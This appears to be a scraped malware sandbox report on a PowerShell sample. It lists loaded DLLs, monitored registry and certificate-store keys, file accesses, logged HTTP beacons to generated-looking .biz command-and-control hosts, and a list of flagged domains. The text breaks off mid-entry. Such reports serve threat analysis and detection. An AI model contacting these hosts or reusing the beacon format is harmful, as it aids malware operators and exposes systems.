system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00007328-00000C2B-546678215] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00007328-00000C2B-546852948] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00007328-00000C2B-546905610] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00007328-00000C2B-546949668] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll" [Source: 00000000-00007328-00000C2B-547127629] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00007328-00000C2B-547140880] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00007328-00000C2B-547163311] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00007328-00000C2B-547187561] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll" [Source: 00000000-00007328-00000C2B-547227547] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll" [Source: 00000000-00007328-00000C2B-547269025] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00007328-00000C2B-547308228] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00007328-00000C2B-547370616] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00007328-00000C2B-547432857] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00007328-00000C2B-547521023] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00007328-00000C2B-547528470] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00007328-00000C2B-547635547] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00007328-00000C2B-547650293] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00007328-00000C2B-547964356] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00007328-00000C2B-547976221] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00007328-00000C2B-548015482] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" [Source: 00000000-00007328-00000C2B-548047749] Observed system executable string:"%WINDIR%\system32\en-US\tzres.dll.mui" [Source: 00000000-00007328-00000C2B-548119555] Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00007328-00000C2B-548140678] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" [Source: 00000000-00007328-00000C2B-548316183] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" [Source: 00000000-00007328-00000C2B-548342291]3a:T7d3,"GET /au HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Host: www.anpmnmxo.biz" "GET /ytenqmpsyaxmintj HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Host: www.anpmnmxo.biz" "GET /nnnbwobrm HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Host: www.anpmnmxo.biz" "GET /hqfyx HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Host: www.anpmnmxo.biz" "POST /hshrpjedkwl HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: dlynankz.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 860" "POST /dq HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: dlynankz.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 860"3b:Tcde,"powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\Ole" (Filter: 268435457; Subtree: 0) "powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_Classes\Local Settings\Software\Microsoft" (Filter: 268435457; Subtree: 1) "powershell.exe" monitors "HKLM\SYSTEM\ControlSet001\Services\crypt32" (Filter: 268435460; Subtree: 0) "powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\Root" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\ROOT" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\AuthRoot" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Policies\Microsoft\SystemCertificates" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\FlightRoot" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\SmartCardRoot" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\trust" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\SystemCertificates" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\trust" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Trust" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\CA" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\CA" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\CA" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\Disallowed" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\Disallowed" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Disallowed" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\TrustedPeople" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\TrustedPeople" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config" (Filter: 268435461; Subtree: 1)3c:T90c,"powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME\DYNAMIC DST"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\WSMAN"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\POWERSHELL\3\POWERSHELLENGINE"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\MSASN1"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\WINTRUST\CONFIG"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTSIPDLLPUTSIGNEDDATAMSG"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTSIPDLLPUTSIGNEDDATAMSG\{000C10F1-0000-0000-C000-000000000046}"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTSIPDLLPUTSIGNEDDATAMSG\{06C9E010-38CE-11D4-A2A3-00104BD35090}"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTSIPDLLPUTSIGNEDDATAMSG\{0AC5DF4B-CE07-4DE2-B76E-23C839A09FD1}"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTSIPDLLPUTSIGNEDDATAMSG\{0F5F58B3-AADE-4B9A-A434-95742D92ECEB}"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTSIPDLLPUTSIGNEDDATAMSG\{1629F04E-2799-4DB5-8FE5-ACE10F17EBAB}"; Key: ""; Value: "")3d:T835,"powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "BIAS"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDBIAS"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDSTART"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTBIAS"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTSTART"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "TIMEZONEKEYNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DYNAMICDAYLIGHTTIMEDISABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME\DYNAMIC DST"; Key: "FIRSTENTRY"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME\DYNAMIC DST"; Key: "LASTENTRY"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME\DYNAMIC DST"; Key: "2026"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME\DYNAMIC DST"; Key: "2007"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "ACTIVETIMEBIAS"; Value: "")3e:T459,"powershell.exe" reads file "c:\users\%osuser%\appdata\roaming\microsoft\windows\recent\customdestinations\590aee7bdd69b59b.customdestinations-ms" "powershell.exe" reads file "c:\windows\system32\windowspowershell\v1.0\powershell.exe.config" "powershell.exe" reads file "c:\windows\microsoft.net\framework64\v4.0.30319\config\machine.config" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll.aux" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\microsoft.pb378ec07#\b5ba37e1558ced178a99011a1d659b52\microsoft.powershell.consolehost.ni.dll.aux" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\system\e43dd9c73ab5615e461bf5109c3facd6\system.ni.dll.aux" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\system.core\0d59b0e237d7519417de10cd84bda4e7\system.core.ni.dll.aux" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\system.manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\system.management.automation.ni.dll.aux"3f:T418,"powershell.exe" trying to touch file "\Device\ConDrv\Server" "powershell.exe" trying to touch file "\Device\ConDrv\\Reference" "powershell.exe" trying to touch file "\Device\ConDrv\\Connect" "powershell.exe" trying to touch file "C:\Windows\System32\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to touch file "C:\WINDOWS\system32\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to touch file "C:\Windows\System32\atl.dll" "powershell.exe" trying to touch file "C:\WINDOWS\SYSTEM32\ATL.DLL" "powershell.exe" trying to touch file "C:\Windows\System32\WindowsPowerShell\v1.0\MSCOREE.DLL" "powershell.exe" trying to touch file "C:\WINDOWS\system32\WindowsPowerShell\v1.0\mscoree.dll" "powershell.exe" trying to touch file "C:\Windows\System32\mscoree.dll" "powershell.exe" trying to touch file "C:\WINDOWS\SYSTEM32\mscoree.dll" "powershell.exe" trying to touch file "C:\Windows\System32\imm32.dll" "powershell.exe" trying to touch file "C:\WINDOWS\system32\IMM32.DLL" "powershell.exe" trying to touch file "\Device\CNG"40:T40a,"powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\7LJBXOXGNDGMKWL008QO.temp" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF179097.TMP" "powershell.exe" touched file "C:\Windows\System32\CatRoot" "powershell.exe" touched file "C:\Windows\System32\catroot2" "powershell.exe" touched file "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations" "powershell.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "powershell.exe" touched file "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations\7LJBXOXGNDGMKWL008QO.temp" "powershell.exe" touched file "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF179097.TMP"41:T914,"powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\system32\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\system32\WindowsPowerShell\v1.0\mscoree.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\FLTLIB.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MSVCP140.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\system32\WindowsPowerShell\v1.0\MSVCP140.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\VCRUNTIME140.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\system32\WindowsPowerShell\v1.0\VCRUNTIME140.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\VCRUNTIME140_1.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\system32\WindowsPowerShell\v1.0\VCRUNTIME140_1.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTSP.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\LINKINFO.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\system32\WindowsPowerShell\v1.0\LINKINFO.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\NTSHRUI.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\system32\WindowsPowerShell\v1.0\ntshrui.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\SSPICLI.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\system32\WindowsPowerShell\v1.0\SspiCli.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\SRVCLI.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\system32\WindowsPowerShell\v1.0\srvcli.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CSCAPI.DLL"42:Tca2,"powershell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\DESKTOP.INI" "powershell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\7LJBXOXGNDGMKWL008QO.TEMP" "powershell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\7LJBXOXGNDGMKWL008QO.temp" "powershell.exe" trying to access non-existent file "C:\Windows\System32\MSCOREE.DLL.LOCAL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\FUSION.LOCALGAC" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\GAC\PUBLISHERPOLICY.TME" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.DATA.DLL.CONFIG" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.TRANSACTIONS.DLL.CONFIG" "powershell.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\PROFILE.PS1" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MICROSOFT.POWERSHELL_PROFILE.PS1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSD1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSM1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psm1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.CDXML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.cdxml" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.XAML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.xaml" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\MICROSOFT.POWERSHELL.OPERATION.VALIDATION.PSD1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\Microsoft.PowerShell.Operation.Validation.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\MICROSOFT.POWERSHELL.OPERATION.VALIDATION.PSM1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\Microsoft.PowerShell.Operation.Validation.psm1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\MICROSOFT.POWERSHELL.OPERATION.VALIDATION.CDXML"43:T467,Found http requests in header "POST /vvrxg" Found http requests in header "POST /ltbcty" Found http requests in header "POST /rsembmyjucc" Found http requests in header "POST /gmoa" Found http requests in header "POST /ittooiq" Found http requests in header "POST /wsyriayansdhkx" Found http requests in header "POST /kpbendnmvboqlr" Found http requests in header "POST /klmwrsqs" Found http requests in header "POST /winxnjxhtmxihskw" Found http requests in header "POST /tqya" Found http requests in header "POST /y" Found http requests in header "POST /pplvectcusjq" Found http requests in header "POST /igmxsqualglndix" Found http requests in header "POST /au" Found http requests in header "GET /au" Found http requests in header "POST /yymyxonoujelnhpb" Found http requests in header "POST /ytenqmpsyaxmintj" Found http requests in header "GET /ytenqmpsyaxmintj" Found http requests in header "POST /iydmmkmewuttg" Found http requests in header "POST /alkurfht" Found http requests in header "POST /nnnbwobrm" Found http requests in header "GET /nnnbwobrm" Found http requests in header "POST /gteg"44:T723,Heuristic match: "pywolwnvd.biz" Heuristic match: "ssbzmoy.biz" Heuristic match: "cvgrf.biz" Heuristic match: "npukfztj.biz" Heuristic match: "przvgke.biz" Heuristic match: "zlenh.biz" Heuristic match: "knjghuig.biz" Heuristic match: "anpmnmxo.biz" Pattern match: "www.anpmnmxo.biz" Heuristic match: "lpuegx.biz" Heuristic match: "vjaxhpbji.biz" Heuristic match: "xlfhhhm.biz" Heuristic match: "ifsaia.biz" Heuristic match: "saytjshyf.biz" Heuristic match: "vcddkls.biz" Heuristic match: "fwiwk.biz" Heuristic match: "tbjrpv.biz" Heuristic match: "deoci.biz" Heuristic match: "gytujflc.biz" Heuristic match: "qaynky.biz" Heuristic match: "dwrqljrr.biz" Heuristic match: "nqwjmb.biz" Heuristic match: "ytctnunms.biz" Heuristic match: "myups.biz" Heuristic match: "oshhkdluh.biz" Heuristic match: "jpskm.biz" Heuristic match: "lrxdmhrr.biz" Heuristic match: "wllvnzb.biz" Heuristic match: "gnqgo.biz" Heuristic match: "acwjcqqv.biz" Heuristic match: "yauexmxk.biz" Heuristic match: "iuzpxe.biz" Heuristic match: "sxmiywsfv.biz" Heuristic match: "vrrazpdh.biz" Heuristic match: "ftxlah.biz" Heuristic match: "typgfhb.biz" Heuristic match: "esuzf.biz" Heuristic match: "gvijgjwkh.biz" Heuristic match: "qpnczch.biz" Heuristic match: "brsua.biz" Heuristic match: "dlynankz.biz" Heuristic match: "oflybfv.biz" Heuristic match: "yhqqc.biz" Heuristic match: "mnjmhp.biz" Heuristic match: "opowhhece.biz" Heuristic match: "jdhhbs.biz" Heuristic match: "mgmsclkyu.biz" Heuristic match: "warkcdu.biz" Heuristic match: "bumxkqgxu.biz" Heuristic match: "gcedd.biz" Heuristic match: "great417.ddns.net" Heuristic match: "jhvzpcfg.biz" Heuristic match: "lejtdj.biz" Heuristic match: "uhxqin.biz" Heuristic match: "vyome.biz" Heuristic match: "yunalwv.biz" Heuristic match: "zjbpaao.biz"45:T51e,GET /au HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Host: www.anpmnmxo.biz GET /ytenqmpsyaxmintj HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Host: www.anpmnmxo.biz GET /nnnbwobrm HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Host: www.anpmnmxo.biz GET /hqfyx HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Host: www.anpmnmxo.biz 46:T8d6,"powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\system32\windowspowershell\v1.0\powershell_ise.exe (UID: 00000000-00007328) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00007328) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00007328) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00007328) "powershell.exe" called 